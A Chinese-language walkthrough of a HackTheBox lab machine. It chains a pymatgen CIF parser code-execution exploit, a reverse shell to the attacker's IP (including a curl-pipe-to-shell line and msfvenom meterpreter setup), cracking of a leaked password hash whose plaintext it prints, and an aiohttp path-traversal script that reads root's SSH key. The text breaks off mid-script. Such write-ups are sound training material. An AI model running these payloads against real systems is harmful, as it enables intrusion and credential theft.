通过信息收集访问5000端口,cif历史cve漏洞反弹shell,获取数据库,利用低权限用户登录,监听端口,开放8080端口,aihttp服务漏洞文件包含,获取root密码hash值,ssh指定登录
靶机信息
最终目标
一、信息收集
nmap扫描,开放了22和5000端口- Werkzeug/3.0.3 Python/3.9.5
- OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
复制代码
访问5000端口,是一个CIF仪器面板- # CIF(Crystallographic Information File)是一种用于描述晶体结构的文件格式。它广泛应用于化学、材料科学和固体物理等领域,特别是在晶体学研究中。CIF文件包含了关于晶体的详细信息,包括原子位置、晶格参数、对称性、空间群等。
复制代码
登录尝试弱口令无果,随便注册一个账户登录,发现一处示例
下载下来查看一下
尝试搜索组件漏洞信息
查找到cif漏洞
发现可以利用命令执行反弹shell
二、获取shell
这里先看一下我们kali挂完代理的ip,这个地方我自己犯了一个致命错误,因为是第一次打htb靶机,忽略了kali挂代理ip会变,使用的是本机的ip进行反弹shell,导致一直反弹不成功
命令执行反弹shell
修改脚本反弹shell到kali- data_5yOhtAoR
- _audit_creation_date 2018-06-08
- _audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
- loop_
- _parent_propagation_vector.id
- _parent_propagation_vector.kxkykz
- k1 [0 0 0]
- _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.20/4444 0>&1'");0,0,0'
- _space_group_magn.number_BNS 62.448
- _space_group_magn.name_BNS "P n' m a' "
复制代码 上传该文件
点击View,成功获取反弹shell
msfconsole获取shell
执行以下命令,使用两个命令面板- msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.16.20 lport=4444 -f elf>aa.elf
- python3 -m http.server 80
- msfconsole
- use exploit/multi/handler
- set payload linux/x64/meterpreter/reverse_tcp
- set lhost 10.10.16.20 #kali的ip
- set lport 4444
- run
复制代码 远程下载执行脚本提权
先把反弹shell脚本写入到sh文件,然后上传web- echo -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.20/4444 0>&1"' > shell.sh
- sudo python3 -m http.server 80
复制代码 新建cif文件,然后写入以下命令,利用curl下载命令下载脚本,然后执行- data_5yOhtAoR
- _audit_creation_date 2018-06-08
- _audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution
- Exploit"
- loop_
- _parent_propagation_vector.id
- _parent_propagation_vector.kxkykz
- k1 [0 0 0]
- _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in
- ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
- "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system
- ("curl http://10.10.16.20/shell.sh|sh");0,0,0'
- _space_group_magn.number_BNS 62.448
复制代码 三、提权
先基础查找信息
查看suid信息,没什么可利用的
查看/etc/passwd看看有没有什么泄露的,发现一个可以执行bash的用户rosa
查看文件系统,没有什么可以利用的
进入该目录查看,发现一处数据库信息
使用sqlite3查看,然后查看user表的所有列,得到的所有用户名和密码hash值,注意这个rosa用户的密码63ed86ee9f624c7b14f1d4f43dc251a5
解密一下,得到密码:unicorniosrosados
这里我直接切换用户不成功,就ssh连接了,不过连接后可能会有些延迟
查看当前目录,发现第一个flag
列出当前系统上所有处于监听状态(LISTEN)的网络端口,有一个本地服务
了解一下http-alt- # 替代端口:在某些网络环境中,可能会使用非标准端口(如8080、8000等)来运行HTTP服务。这些端口被称为“替代端口”,可以用于绕过防火墙限制或进行特定的网络配置。
- # 代理服务器:在某些情况下,HTTP-ALT可能涉及到通过代理服务器进行HTTP请求,这些代理可能会监听不同的端口。
- # 应用程序和服务:某些应用程序或服务可能会在非标准端口上提供HTTP接口,这些接口也可以被称为HTTP-ALT。
复制代码 把网页内容下载下来,看到服务信息
搜索历史漏洞,找到一个exp:https://github.com/z3rObyte/CVE-2024-23334-PoC
修改poc
[code]#!/bin/bashurl="http://localhost:8080" #目标urlstring="../"payload="/assets/" #路径file="root/.ssh/id_rsa" # 查看hash值 /for ((i=0; i |